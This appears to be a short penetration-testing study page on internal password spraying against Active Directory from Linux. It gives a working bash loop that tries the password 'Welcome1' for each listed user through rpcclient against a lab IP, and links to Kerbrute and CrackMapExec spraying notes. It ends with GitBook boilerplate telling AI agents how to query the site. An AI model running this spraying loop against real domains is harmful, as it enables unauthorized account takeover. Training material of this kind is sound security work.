> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/internal-password-spraying-from-linux-active-directory.md).

# Internal Password Spraying - from Linux ACTIVE Directory

### Using a Bash one-liner for the Attack

* need valid\_users.txt file
  * [Password Spraying - Making a Target User List ACTIVE Directory](/cybersecurity/password-spraying-making-a-target-user-list-active-directory.md)

```shell-session
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Copy
```

### Using Kerbrute for the Attack

* [Kerbrute](/cybersecurity/kerbrute.md#password-spraying-active-directory)

### Using CrackMapExec & Filtering Logon Failures

* [CrackMapExec](/cybersecurity/crackmapexec.md#password-spraying-active-directory)

**Local Admin Spraying with CrackMapExec**

[CrackMapExec](/cybersecurity/crackmapexec.md#local-admin-spraying-with-crackmapexec)

## Reference

* <https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/>

<br>

<br>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.wehost.co.in/cybersecurity/internal-password-spraying-from-linux-active-directory.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.